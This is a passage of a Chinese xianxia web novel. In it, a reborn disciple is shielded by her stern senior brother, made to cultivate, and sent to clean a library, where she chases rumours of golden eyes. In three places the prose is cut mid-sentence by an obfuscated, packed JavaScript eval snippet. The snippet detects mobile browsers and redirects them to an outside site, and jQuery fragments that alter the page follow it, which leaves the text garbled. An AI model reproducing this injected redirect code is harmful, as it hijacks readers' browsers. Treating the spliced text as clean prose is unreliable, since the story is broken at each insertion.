或许是她跟在沈恪身后拜见掌门,顺道向立于一旁的师兄问安。 再不济也是她混在其他弟子中间,偶尔听说师兄的消息,此外便再也没什么交集。 可怎么都不该是现在。 她积了两辈子的怨恨和不甘,跪在执律堂中央,自认勾连魔族之罪,请堂主将她逐出宗门。 一如前世最后一面,她不顾师兄阻拦,甚至动手伤他,执意下山离宗。 场景不对,形象也不对。 她出门太急,还穿着被姚蝉泼了一盆水的衣裳;甚至她浑身上下都是院墙倒塌时溅上的土灰,说不定连脸上都有…… 纪楚脑子里一团乱麻,根本理不清自己此刻究竟在干什么想干什么要干什么,只知道自己绝对不想抬头和师兄对视。 于是她果断低着头装聋子装哑巴,无论如何也张不开口回答“是”或“不是”。 诡异的安静。 师兄的目光如有实质,从她死活不肯抬起的头顶移到她捧着弟子腰牌的双手,最后落到那一块小小的木制令牌上,看得纪楚心跳加速,举在半空的两臂微微颤抖,忍不住想要收回双手。 严堂主和沈恪没有说话,许盈几人也被孟喻辞身上的浑然天成的气度和剑气压住,摸不准他的身份,又见长老们神情古怪,谁也不敢冒然插嘴。 一时间,只剩纪楚跪在孟喻辞腿边,在他沉默的注视下焦灼不安。 孟喻辞身着素白雪衣,乌发以玉冠束起,露出精致俊逸到近乎虚幻的五官。 面色冷白,鼻梁高挺,薄唇红而不艳,似天地造物精心雕琢刻画。 双眸如点漆墨玉,盯着人时平静而淡漠,却天然有让人畏惧的气度。 更兼之身形修长,姿容挺拔,气质沉静,立于一众地位尊崇的长老面前,却丝毫不显弱势,反倒于淡然疏离中暗藏几分杀气森然的不好惹。 此刻,这位极不好惹的人始终沉默着、垂眸睨着纪楚,像是看不见在场的其他人。 微妙的站位更是无形间将纪楚笼在他身影下,自带的森寒剑意更是像一堵密不透风的墙,一时间在场中人,谁也无法越过他与纪楚直接接触。 显而易见的保护和占有姿态。 过了好久,还是沈恪出言打断: “孟喻辞,你怎么来了。” 许盈几个听见这名字的同时眼睛立时睁得老大,唯有陈梧还有些懵,不知道这能让严堂主和沈长老齐齐静默下来的“孟喻辞”是何许人也。 听见沈恪的话,孟喻辞才将目光从纪楚身上移开: “见过沈师叔。” 他语气很是冷淡,听不出情绪: “我刚出关,就听说师妹犯下大错,要被逐出宗门。” 但谁也不会觉得他是在随口寒暄。 陈梧一听就开始着急。 今天这事本来就是为了救他才闹大的,若是纪楚真闹到了“被逐出宗门”的地步,他有何颜面做那缩头乌龟? 原本以为孟喻辞出现事情便有了转机,谁料听这语气,似乎并不会替纪楚说话。 他于是猛地站起来,梗着脖子,以前所未有的音量大喊: “纪楚是被冤枉的!宗门怎可因为孔师兄三言两语就处置了她!这不公平!” 许盈和蒋成旭两人齐齐倒吸了一口凉气,恨不得把陈梧的嘴捂上扔出执律堂。 天杀的,之前怎么没看出陈梧这个闷瓜葫芦这么有胆量,为了纪楚,在孟师兄面前也敢放肆。 只是这个傻子,看不出孟师兄这是来替纪楚撑腰的吗? 震惊归震惊,许盈还是暗暗冲陈梧比了个大拇指,边做口型: “好小子!是真男人!” 蒋成旭伸手把梗着脖子的陈梧拉了下来,也顾不上什么长辈在场不可造次了,小声提醒陈梧: “这是纪楚师兄,亲的!” 陈梧:“?” 他反应不过来:“纪楚不是记名在掌门名下吗?” 蒋成旭快要崩溃了: “这就是掌门座下弟子,拂宇仙宗首徒,纪楚的亲师兄——孟师兄!” 陈梧:“!!!” 他可算知道其他人的表情为什么那么古怪了。 眼前这位,就是令修真界闻之色变的孟喻辞,孟师兄,当世剑道第一人,拂宇仙宗上下除掌门外最可怖的存在。 虽闭关许久不出,但传言仍在修真界流传。 听闻其修为已至化境顶峰,离金仙只一步之遥,剑招更是极快极冷,持剑除妖宛如砍瓜切菜,还附带冰冻效果,尸身连血都来不及冒出,就已经被他的剑意冻成了冰块。 更可怕的是,其为人疏离冷酷乃剑修之最,光面无表情就足够让人畏惧,动手时更是毫无预兆,往往视线所及,妖魔已生机全无了。 这样的存在,斩妖除魔时足够可靠。但一旦惹到他的人变成了自己…… 陈梧一下子跪在地上,再度恢复鹌鹑的样子,希望孟师兄能原谅他的无知,把他当个屁放了。 但来不及了,孟喻辞没什么温度的目光已经落到了他身上。 “你是?” 短短两字,陈梧已在脑海里构思出了孟师兄如何将他一剑砍了然后冻成冰雕的下场。 他额头冒出冷汗,莫名的,和跪在孟喻辞身边的纪楚拥有了同样的期许。 天呐,我(们)能不能忽然变成聋子和哑巴啊…… 严堂主站的老远都感受到了陈梧的绝望和害怕。 他于是冲陈梧道: “你急什么?大吵大闹不成体统。谁说要把纪楚逐出宗门了?” 孟喻辞看他一眼。 严堂主对沈恪道: “沈长老,此事只孔回端一人口供,不可妄下定论。对纪楚的惩处,便先搁置了吧。” 沈恪脸上的笑意僵住,不悦反问: “严堂主这是何意?” 严堂主心想“孟喻辞都亲自站在这儿了,他代表着主峰和掌门那边的意思,难道你还想越俎代庖,处置掌门名下弟子吗”? 但这话他自然不能明说,只能委婉道: “沈长老也看到了,孔回端所说俱是猜测,没有证据,何况纪楚是主峰的人,不如就交给他们主峰自己处置。” 沈恪哪里听不出他的意思,什么叫“纪楚是主峰的人”,分明是在提醒他作为纪楚的师叔,只有教导之责并无处置之权,内涵他“手伸太长”! 他顿时气极,却又不能在小辈面前发作,只得强忍怒意说道: “纪楚虽记在掌门名下,自入宗以来,却一直是由我亲自教导,若有错处,我为师长却视而不见,岂非辜负了掌门托付?” 纪楚早在几人争辩的时候便悄悄将举着弟子木牌的手放下,占据了最佳看戏位置,偷听几人对话。 只遗憾师兄立在她身前,不能转头去看沈恪被严堂主内涵时的吃瘪表情。 听得沈恪这般冠冕堂皇之话,纪楚仗着自己低着头别人看不见,暗中翻了个极为不屑的白眼。 她的头随着这个动作,幅度极小地晃了一下。 孟喻辞的视线再度落回到她身上。 纪楚被这沉甸甸的一眼看得立马跪端正,心想“低着头应该不会被发现吧”。 孟喻辞移开视线,看向沈恪: “多谢沈长老提醒,我既已出关,便会担负起弟子教导事务,尤其是主峰的弟子。” 许盈和蒋成旭齐刷刷摆手,意思大概是“孟师兄您教导自己主峰的师妹就好了我们别的峰的会自己看着办的”。 纪楚也被孟喻辞这话吓了一跳,飞快地抬头偷看了一眼,谁料正对上师兄静静看着自己的视线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孟喻辞对严堂主颔首道了句“多谢”,手上一用力,便扳着纪楚肩膀转了个面,推着她朝执律堂外走去。 陈梧还想跟上去,被他一个眼神看过去,立时不敢动了,只得眼睁睁看着纪楚被孟喻辞半推半提地出了执律堂。 他仍在担心: “纪师姐她不会有事吧?” 严堂主冷哼一声: “她能有什么事?你们三个还跪在这儿做什么?是嫌罚的不够吗?” 许盈和蒋成旭急忙同严堂主告辞,随后一左一右拉起陈梧,逃也似的跑了出去。 这边纪楚跟着师兄出了执律堂。 她生怕他要把自己压去掌门那里继续审问,虽然知道自己肯定打不过,还是趁他召出长剑时朝旁边迈步转身,想趁机躲开他的手然后逃跑。 哪知师兄神色不动,甚至没有转头看她一眼,扣在她肩膀上的手就跟早有预料似的,挪到她颈后,揪着领子把人提到了剑上。 她一见着少微剑,就立马想起前世被其一剑穿心的痛,下意识按住自己心口。 想要跑,剑身轻微一晃,师兄已站在她身后。 纪楚踩在剑上,寒意从脚下漫上来,身后立着师兄沉默高大的身影,前途未卜,甚感绝望。 剑气划过,执律堂被丢在身后。 师兄的剑气将她和呼啸而过的冷风隔开。她没吹到一点风,整个人却丝毫不敢放松。 不过纪楚也算沉得住气,纵使这样也继续装哑巴,站在师兄身前,死活不吭一声。 直到双脚落了地,纪楚抬头发现面前竟然是自己的小院时,她才露出惊讶神情,下意识扭头看向师兄。 15. 第 15 章 这是重生回来,她第一次见到师兄。 纪楚有些怔愣。 师兄和记忆中一样,身量很高,肤色极白,一双黑沉冷寂的眸子,比寒潭里的玄玉还要冷上几分。 周身气息冰冷,脸上永远没什么表情,不说话的时候,给人一种十分难以靠近的感觉。 月光在师兄身上铺了一层苍白似幻的幽光,衬得他面色更冷,气息更凉。 因为刚才碰了她的肩膀,师兄的指尖和袖口都沾上了污渍,像是白玉上落了灰似的。 纪楚未免有些不好意思。 她不自在地拍了拍自己肩膀,又用手背蹭了蹭自己的脸。 她看着师兄的时候,师兄也在看她。 灰扑扑一张花猫脸,像是刚从泥潭里滚了一圈,只剩一双眼睛还能看,里面是明晃晃的疑惑。 随着她擦脸的动作,那张花猫脸变得更加狼狈。 他捏了一个清洁术,纪楚和他顿时都变成干干净净的样子。 而后他又忽然伸手,一把扣住纪楚的手腕。 纪楚一惊,下意识想要把手收回去,却挣脱不开他的动作,惊惧之下喊了一声: “师兄!” 先前装了好久的哑巴直接破功。 她语气中的惊慌害怕实在不似作伪,孟喻辞抬眸看她一眼,忽然问: “你会说话?” 语气仍是平时那般没什么起伏的样子,可纪楚却好像从他这句话里听出了几分揶揄。 她有些恼。 孟喻辞说完这句后便不再看她,指腹扣在她手腕脉搏上,探了片刻,淡淡陈述: “灵力溃散,你倒是仗义。” 这话绝不是夸赞。 经脉受损还没补好,就敢将全部灵力灌到剑上,强行破阵。 此时灵脉枯竭,经脉紊乱,又成了刚受伤时候的样子,先前废的那些功夫便全都白费了。 纪楚自知理亏,也不敢问师兄怎么知道自己经脉受损的事。 她垂着头咬着唇,没有回应他的挖苦,十分小声地说了句: “……谢谢师兄提醒。” 孟喻辞又看她一眼。 纪楚这样子很是奇怪,不敢回答他的问题,也不肯接他的话茬,更不关心自己为何会去替她解围。 分明敢上生死台,敢顶撞沈恪,先前见她也并非扭捏胆小之辈,如今在他面前却大气不敢出,仿佛很怕他似的。 实在不像正常人见到自己师兄的反应。 孟喻辞不由得思索起来,自己先前所作所为,可是有什么地方吓到她了? 应是没有。 纪楚入宗时他已入结界闭关,还是后来才知道自己多了个名义上的师妹。 除却他隐匿身份助她修复经脉,今日应当是纪楚第一次见到他。 纪楚被他这一眼看的一惊,猛然反应过来,自己刚刚下意识的举动露了破绽。 第一次见到师兄应该是什么反应呢? 纪楚努力催眠自己忘记前世那些事,假装第一次见到师兄的弟子,礼貌,客套,保持距离: “多谢师兄今日帮我解围,师兄若没其他事,我就先……” 她躬身行了个弟子礼,确认自己礼节到位言辞合适,随后指了指身后屋子,后退一步,作势要回去休息。 “站住。” 短短两个字定住她后退的动作。 纪楚只得停下脚步,看见师兄迈步朝她走来,越过她身边,先她一步推开院门。 “你经脉受损不可再拖,我为你护法,现在修炼。” 纪楚:“?!” 她还陷在再次见到师兄的复杂心境中,哪有空静心修行啊。 更何况今日暴露的破绽已经够多了,若是师兄继续留在这儿,难保她不会口不择言说点什么胡话。 到时候还魂重生的事情暴露…… 她应该会变得很惨吧。 纪楚急忙拒绝: “不用了师兄,我自己就可以修补经脉,不用护法的。” “你自己来?” 孟喻辞看向她的眼神里是明显的不信任,细数相识以来她的罪证: “累了不修,心情不好不修,突然有事不修,一个时辰里有一多半都在走神。无人督促,何时才能修好经脉?” 纪楚被他这一长串的话说懵了。 她不由得顺着他的话在心里反思:她真的是这样的吗? 可是…… 就算她真的是这样的,师兄为什么会知道得这么清楚啊?! 难道是那位神秘前辈找师兄告状了吗?! 这么一通话下来,纪楚初见师兄的紧张顿时变成了被人揭短的愤怒,再顾不上什么“礼貌客气保持距离”,张牙舞爪辩解道: “那都是因为情况特殊……我平时不这样的!” 刚重生回来,事情一个接着一个,偶尔走神多正常啊。 她以后肯定会专心的! 但孟喻辞显然不那么信任她的自制力。 更重要的是,她经脉情况实在太糟糕,若是不能及时梳理,只怕会影响之后修行。 他提前出关就是为了帮她修复经脉,如今进度清零,甚至变得更糟,孟喻辞耐心所剩无几。 他先前也教导过底下的弟子,不过没有这样费心。 只消他在场,不必开口,弟子们就会老老实实修炼,生怕惹了他不快。 至今为止,他也只对纪楚宽纵一些,念着她在沈恪那里过的不好,又无意间替他挡了一劫,这才愿意耐着性子同她好好说话。 原是他白天一时心软,允了她晚上再修炼的请求,她就先把自己伤得更重,又在执律堂闹到了要离宗的地步。 若非他等了许久没等来人影,及时寻去执律堂阻止,她是否真打算带着这身破败经脉离宗自生自灭? 如此轻重不分意气用事,他如何还能相信她的保证? 年少贪玩,怪不得师尊专程叫他来看顾着。 想到这些,孟喻辞眼神冷了下来,静静看着纪楚,最后问了一遍: “你修不修?” 纪楚后背一凉,被他平静无波的目光盯着,天然生出一股畏惧来。 她立马投降: “我修,我这就去打坐。” * 纪楚苦着脸在院子里打坐。 她不知道为什么事情忽然变成这个样子。 上辈子刚见到师兄的时候,他并没有一上来就冷着脸威胁她修炼,甚至算得上冷淡,话都没跟她说过几句。 怎么这一回,师兄忽然就变得对她格外在意了呢? 她好愁,却又不能表现出来。 只能在心里默念“礼貌客气保持距离” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074468|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“师兄就是师兄,和张师兄李师兄赵师兄其他师兄通通没有区别”。 可越是刻意忽略身边的人影,上辈子有关师兄的记忆就越是哗啦啦往外冒。 那天她与人比剑惨败,带着伤跑到后山树林里哭,哭了一半,发现身后不知何时站了个长的极好看的剑修。 对方手持素白长剑,容色冷俊,气度如雪,望向她的眸子里一派沉寂。 她盯着他手里的剑走神,一时忘了继续哭。 “为何要哭?” 对方开口,声音低沉而清冷,如雪压青松,宛如天籁。 但语气冷冰冰的,配合着他身上的寒意,像是在质问她。 纪楚觉得自己已经躲起来哭了竟还会被人追着嫌弃,顿时悲从心来,眼泪就跟止不住一样哗哗直流。 对方又问: “为何不说话?” 她捂着眼睛不搭理他,觉得他烦,打算换个地方哭。 肩膀却被人按住。 他没用多少力气,却按得她动弹不得。 胳膊上被砍伤的伤口一抽一抽的疼,她想跑,却有一道灵力自按着她肩膀的手上传来,冰冰凉凉的,将那道伤口拂去。 纪楚茫然抬头,听见他说: “我叫孟喻辞,是你师兄。” “别哭了。” …… 纪楚忍不住叹了口气。 她闭着眼睛,脑海里一会儿是前世师兄“杀她”的威胁,一会儿又是这一世师兄淡漠的神态。 师兄是一无所知,只把自己当成一个普通的师妹。 可她却无法不去想那些过去,无法不去回忆少微剑穿心而过的痛楚和绝望。 她该怎么办…… 心烦意乱之时,头顶忽然传来一道声音,如晴天霹雳在她耳旁炸响。 “你心绪不安,是因为我吗?” 纪楚乍然听见师兄的话,心里一惊,再无法装作打坐入定的模样,猛得睁开眼看他。 天色熹微。 师兄便站在距离她一步远的地方。 他身量很高,恰将天边那轮堪堪露出头的旭日挡了,逆光而立,眉眼间的情绪被长睫压成一片看不清猜不透的暗影。 那双黑沉冷寂的眸子正一眨不眨望着她。 纪楚整个人都被覆盖进他的身影下,像一团格外跳脱的光,清凌凌映在他漆黑双眸中央。 裙摆随着她打坐的动作在地上铺开,一角暴露在阳光下,浅蓝色的裙摆似是镀了一层金边。 这道明暗交界的光,实在太像前世诀别。 一边是师兄所求的大道,另一边是她生命的终点。 纪楚便是在这一刻忽然意识到,原来她一直是恨师兄的。 她恨他绝情,狠心杀她。 她恨他敏锐,看透她的扭曲自卑不安。 她更恨他纵容,分明不喜欢她,却还是任由她数次冒犯而不推拒,任由她在他身上越陷越深,最后却又要当着她的面,亲手斩断一切。 何其残忍。 何其荒诞! 她竟一直恨着师兄…… 这念头一旦冒出来,便如春笋扎根,落雨忽生。 一切一切好像都有了踪迹可寻,却也有了前路可走。 前世种种皆是歧路,既已重生,便不可再行。 她不会再走错了。 16. 第 16 章 想通这些后,纪楚的心定了下来。 她觉得自己大可不那么纠结。 现在的她只是一个普通弟子,既没有修炼邪术,也没有疑似勾结魔族,师兄没理由杀她。 于是她鼓起勇气道: “我自入门来一直拜在沈师叔座下,与师兄并不熟悉,所以有点不自在。” 师兄垂眸看着她,眼底的情绪叫人看不分明。 又是一阵沉默。 纪楚仰脸看着师兄。 她鼓起的那点勇气在师兄沉默的注视下一点点瓦解。 双手不自觉捏住衣角,心里有个小人在狂锤自己的头: 完了完了,这样说是不是显得太放肆了。整个宗门上下谁敢跟师兄这样说话啊!而且“不熟悉”“不自在”什么的,会不会显得太过分了…… 另一个小人叉着腰翻白眼: 哪里过分了?师兄可是杀了你一次,只是说句“我们不熟”而已,简直是太宽容太大度了!你就是大善人! 孟喻辞沉默半晌,开口道: “我知道了。” 纪楚心里两个小人一齐停止了说话。 孟喻辞说完句话后便再次沉默了,神情看着也没有什么变化。 纪楚于是又在心里盘算: “我知道了”是什么意思? 是觉得她说的有道理,以后会和她保持距离;还是认为她说的都是借口,这是不悦的反应;又或者只是单纯表示他听到了? 她眨了眨眼睛,头脑疯狂转动,表情有些呆呆的。 头顶忽然一沉。 是师兄忽然抬手,不甚熟练地摸了摸她头发。 掌心干燥,指尖泛着凉意,落在她头发上的重量格外轻柔,一触即分。 袖口的布料在她耳边清浅划过,冰凉丝滑,却并不让人觉得难受,反而有点痒痒的。 纪楚一口气没能呼出去,表情定格在呆愣茫然的状态,一时反应不过来。 孟喻辞已转身离开。 直到太阳升到半空,整个院子都被明媚的日光笼罩后,纪楚才猛地呼出一口气。 她坐在地上,低头弯腰缩了起来,把脸藏在阴影中,捂着心口,感受着心脏“砰砰砰”地跳个不停。 几缕发丝垂落,在她耳边和眼前晃悠着,在地面投下纤细摇晃的阴影。 今天又是个大晴天。 * 毕竟是在山下闹出了不小的动静,若完全没有惩罚也说不过去。 纪楚他们几个一人领了个工具,被罚去打扫秘宝藏书阁。 秘宝藏书阁位于主峰,上下各六层。 藏书阁在地上,秘宝阁在地下,只地上一层有入口。 纪楚两手拄着扫帚,站在入口处自下往上看,高耸的六层阁楼几乎要戳到云里去。 她有些不确定: “藏书阁就我一个人负责?” 戴着面具提着剑挂着全套防护灵符拿着拖把扫帚抹布全副武装的许盈和蒋成旭点头: “没错,你修为太低,打不过秘宝阁里那些东西。” 宝物有灵,遇到脾气不好的,跳起来打弟子的头也是有可能的。 纪楚对这个安排无法反驳。 她又指陈梧: “那他呢?他修为也就那样吧,能比我好多少?” 陈梧有点不好意思: “纪师姐,其实我……” 许盈已拉过他到自己和蒋成旭中间: “蒋成旭总拖后腿,和他一起我这辈子都扫不完秘宝阁,必须加一个帮手,陈梧师弟正合适。” 蒋成旭被撞开,稳住身形,抱臂冲许盈“哼”了一声: “你别拖我俩的后腿就行。” 纪楚于是懂了。 这俩人又不知道因为什么事开始拌嘴了。 她对这一幕习以为常,抬手阻止两人继续吵下去,冲陈梧做了个“请”的动作,严肃道: “辛苦你了。” 陈梧:“……我会努力的。” 四人在入口处分道扬镳。 纪楚一个人拿着扫把进了藏书阁。 藏书阁虽有六层,但最顶上一层属于机密,不归她扫。 如此算下来便只有五层,但还是任务繁重。 她斗志满满扫了不过两层,便逐渐感觉疲惫起来,从一开始的昂首挺胸变成了弓腰驼背,拉着扫把在一层层书架中间穿梭。 一开始还能听见地下秘宝阁里传来的噼里啪啦的声音,混着许盈几人被宝物追逐跑动的杂乱声响,后来这声音便逐渐远去,应当是他们找到了诀窍,朝下一层去了。 纪楚歇了一会儿,又支棱起来扫了一层。 第三层的书比前两层更加晦涩难懂,地上的灰也积得更多,纪楚扫过去时匆匆一瞥,好多“醒世玄语”、“诸暨通晓”,不知所谓的书名,看着就不想翻。 显然其他弟子也和她一样作想,这一排书架上都是灰,想必是哪个领了打扫任务的弟子没有认真清扫。 纪楚不免又想到她那差了许多的贡献分,惆怅满怀,站在第四层入口处叹气。 之前嫌打扫书架这样的任务零碎分数少,现在可倒好,白干活,一分都没有。 她扫了两下便觉得心烦,既无监工,也无人聊天,便将扫把往旁边书架上一靠,随手取了本书坐在地上翻看。 原以为随手拿的这本书会是和第三层一样的“满纸玄妙言”,没想到一打开,迎面几个大字: “特殊之人可见。” “特别的故事送给特别的你。” 纪楚:“……” 有点油腻…… 但是不得不承认这样的把戏吸引到她了。 她往后翻去,发现是个颇有些新奇的故事。 讲的是修真界某位大能某日入定时神游天外,见到一个与此间全然不同的世界。 那里的人外貌古怪,头发是彩色的,全都像羊毛一样卷曲,肤色惨白似鬼,行为放纵似兽。 这位大能上前询问这是哪里,得到回答:“此乃宇宙初生之地,万物萌发之始。” 宇宙初生,万物萌发,说的不就是伏羲女娲神族创世? 大能一惊,心道自己难不成是神游到了“上界”。 可神族陨落之后,上界早已关闭,他又如何看见这些稀奇古怪的人? 难道是新的天道神谕? 大能心下惴惴不安之时,回答他问题的那人“哈哈”一笑,化作一头健壮俊美的公牛,一头顶开他冲了下去。 大能急忙追过去看。 却见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074469|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那头公牛落到了一片大草原上,几个漂亮的女子绕着公牛玩耍了一会儿。 待一女子大胆攀上牛背时,这一直安静卧在地上的公牛忽然站起,驮着那女子穿山越水,直到无人之岛,任女子如何求救也不放人…… 纪楚:“……这是什么?” 但稀奇古怪的东西总是很有魅力,她忍不住又翻了一页。 这次还是那个大能,他又神游到了同一个地方,看见一个姿容狂悖的年轻人不顾父亲劝阻,执意坐上了一辆有十只周身冒火的马匹拉的车。 车子在空中自东向西飞驰而过,这年轻人也从一开始的骄傲激动逐渐变得害怕紧张。 一个不留神,他没能拉住缰绳,十匹马顿时朝着不同方向跑去。 马车在半空中四分五裂,火焰朝地面落下,烧毁了无数丛林和生命,这年轻人也掉入火海身亡了。 纪楚:“……” 她看的有点生气,但还是又朝后翻了一页。 这次的故事更加匪夷所思,讲的是一个不敬神明的人遭到了神明惩罚。 神明将他全家都变成自己的信徒后,利用障眼法将其变成一头野兽,随后诱导他的家人亲手砍下他的头颅。 故事的最后,这个人的母亲抗着长枪,枪尖挑着她儿子的头,但她还以为自己是在神的指引下斩杀了野兽,兀自洋洋自得…… …… 纪楚一把将书合上,愤怒地塞回了书架。 神不是神,恶不是恶,礼义廉耻道德正义通通混作一团,简直是毫无逻辑。 神怎么会做这种事? 这个大能肯定是修行修疯了,才会写出这些污染别人精神的故事。 她在心里骂了一会儿,拿起扫把继续干活。 借着心里这股子无名火,纪楚飞速把四层和五层都打扫了一圈。 然后她又拖着扫把转回了四层,把扫把藏进角落里后,伸手在书架里摸了摸,又把刚刚那本书掏了出来。 不想承认自己还想看,纪楚左右看了一圈,确认无人,随后也躲进了角落里,抱着“严厉批判”和“我倒要看看后面还能有什么脏东西”的态度翻开了书。 神把公主变成小母牛; 神的妻子嫉妒,让公主无法恢复原状; 神的儿子帮助神放牧公主变成的小母牛…… 纪楚觉得自己的精神再次受到了污染,她一目十行地看,迅速把书翻到老后面,终于不是这些糟心的故事了。 这位经常神游天外的大能又讲起了他很多年前的一次游历。 据说,他游历至一处隐秘地界,遇到了只在传说中出现的巫觋族。 大能口中的巫觋族貌美、神秘,男女皆有神力,可通达天听,是为神使。 又说巫觋族人以灵魂养育一花,名曰“空羽浮花”,是以命相护、生死不弃的承诺,赠花便是切割灵魂,非挚爱不可得…… 她垂着头,一行行朝后看。 一束光从层层书架中穿了过来,在她身上洒下一片皎白的光。 随着纪楚低头看书的动作,披散在背后的乌发散开,露出一小片白皙的皮肤。 一朵浅青色的花嵌在她后颈处,花瓣层叠张开,恍如从灵魂中生出,带着生死不论的承诺。 她浑然不觉。 17. 第 17 章 因着这位大能前面讲的那些不着调的故事,纪楚对他口中描述的巫觋族并不怎么相信,甚至可以说是警惕。 她生怕翻到下一页,巫觋族人就会在这位大能面前变成牛,然后怪叫着跑开。 幸好没有。 翻到最后一页的纪楚松了一口气。 她心满意足地将书合上,随意一瞥,看见扉页似乎写着作者的名号,叫什么“不羁道人”。 名字也奇奇怪怪。 纪楚心想。 最后一个故事不那么猎奇,甚至显得平凡,她没什么想点评的,便打算将书放回去离开。 她刚从角落探出身子,就听见有两道脚步声靠近。 “赵一岩非说自己看见了金色眼睛,听得人瘆得慌……” 金色眼睛? 纪楚一顿,迅速又缩了回去。 脚步声在四楼楼梯口停下,没人发现她藏在这里,另一道声音响起: “他险些入魔,所见未必是真,不必太过在意。” “我知道,可他形容的太真了,说什么赤金无瞳,人怎么可能有这种眼睛……” 那两人已经顺着楼梯上了五楼,后面的话便听不清了。 待那两人走远后,纪楚才小心地从角落出来。 赤金无瞳的眼睛,前世她死前,在薛羡尘身上见到过。 只是那时太过混乱,她猝不及防间根本来不及反应,就被少微剑直接捅死了。 如今听见这两人提起“金色眼睛”,前世的场景再度浮现,纪楚想起来: 那时他好像还对她说了两个字。 “献,吾”。 这又是什么意思? 纪楚想得头疼,只觉自己上辈子简直是糊涂死的。 原来“金色眼睛”也这么早就出现了,而她竟然一无所知,甚至到最后什么都没来得及搞清楚就死了! 如今她才不得不承认,上辈子师兄总冷着脸说她傻,让她不许背着他做蠢决定,可能……真的是真心的。 她上辈子真的什么都不知道啊! 有时候信息差是真的可以决定生死的,送到面前的消息,又事关自己上辈子的死亡,纪楚是无法视而不见的。 她给许盈发了个消息,告诉她自己扫完了要先走了,便悄悄跟在那两个弟子身后,打算去探一探情况。 收到消息的许盈擦了一把脸上的灰,躲开一个朝她打来的法宝,语气豪迈: “你放心回去吧,早点把你的经脉修好。这儿有我们几个呢!” 纪楚不疑有他。 那两个弟子在藏书阁取了书便离开,纪楚跟着他们,一路到了青极峰。 青极峰十分安静,延医阁和灵兽兔子均在此处,纪楚来过好多次,对这里十分熟悉。 因而她也一眼看出,这两个弟子并未走延医阁的方向,而是朝着一处僻静无人的房屋走去。 纪楚想了想,没有直接跟过去,而是蹲在一群晒太阳的灵兔中间,耐心地等了一会儿。 过了没多久,那两个弟子又推门出来,谈长老拿着书同他们说些什么,还不忘给门上设了个禁制。 待三人走远,纪楚才站起来。 周围一圈灵兔忽然发现中间蹲个人,顿时吓了一跳,后腿一蹬四散而开。 纪楚径直走到门前。 拂宇仙宗的房屋是弟子各自建的,风格大小各异,但都突出一个简单随意。 这间屋子显然建的并不宜居,窗户位置很高,伸手都未必够得着,像是人界的牢房,只在头顶开个小窗透光。 想来,里面被关着的应该就是那个“快入魔”的赵一岩了。 纪楚抬手做推门状,门上的禁制便泛着光亮起。 纪楚于是又收回手。 她绕着门口踱了几步,目光落到那扇极小的窗户上。 不如就看一眼,看看里面是不是赵一岩…… 说干就干,纪楚捋了两下袖子,绕去窗户下面,原地比划了半天,又后退几步,这才踩着石块一跃而起,堪堪攀在窗户边缘。 窗外忽然出现个人影,还是个格外好看的小师妹,吓得里面望着天思考人生的赵一岩一哆嗦: “你谁啊?!” 纪楚两脚悬空,两只手都挂在窗户上,勉强靠着手臂维持平衡,对里面的人问道: “你是赵一岩赵师兄吗?” 虽然关的是自己,赵一岩还是忍不住嫌弃青极峰的安保: “……说了多少次了不能光封大门,他们怎么又忘了给窗户设禁制!” 纪楚:“……” “我想问个事儿。” 她开口: “赵师兄,你是不是见过一双金色的眼睛?特别大,没有眼珠子,还长的特别诡异?” 赵一岩皱眉: “他们竟然还把患者的隐私到处乱说!” 看来是真的。 纪楚连忙追问: “你是在哪里看见的?当时是什么个情况?后来呢?后来你怎么逃出来的?” “哪有什么逃不逃的,我就是杀了个魔,它死前眼睛变成了金的,但也就是一瞬间,其他人都没看见,兴许是我眼花了也不一定……” 赵一岩说着,忽然道: “你这么好奇,难道你也见过?” 不等纪楚回答,他就说: “我可提醒你,有人猜测我入魔,和见到金色眼睛有很大关系,你如果也见过……” “没有没有,我怎么可能见过呢……” 纪楚自然不会承认自己前世见过,果断否决。 确定了“金色眼睛”的存在,并且也是在杀魔的时候出现,那就说明她前世死前见过的金色眼睛不是幻觉。 总有种预感,是个极其重要的线索。 不过赵一岩都这么提醒她了,她要是再问下去,恐怕难以脱身。 纪楚于是道: “那我先走了,谢谢赵师兄。” 然而正当她准备离开的时候,忽然发现窗户太小,自己好像卡在了窗户边上,两只手臂都卡僵了。 于是她赶紧拍拍窗边: “赵师兄,我卡住了!快搭把手帮我一下。” 赵一岩赶紧伸手去扶她。 谁知纪楚正准备抓着赵一岩胳膊时,忽然感觉衣领一紧,随后眼前的场景一花,有个好心人从后面揪着她的领子,把她从窗户上提了下来。 纪楚被人转个弯放到了地上,正准备道谢,一抬头,正对上孟喻辞没什么表情的俊脸。 纪楚:“……” 孟喻辞老早就看见纪楚了。 鬼鬼祟祟躲在一群兔子中间,一双眼睛比猫儿还 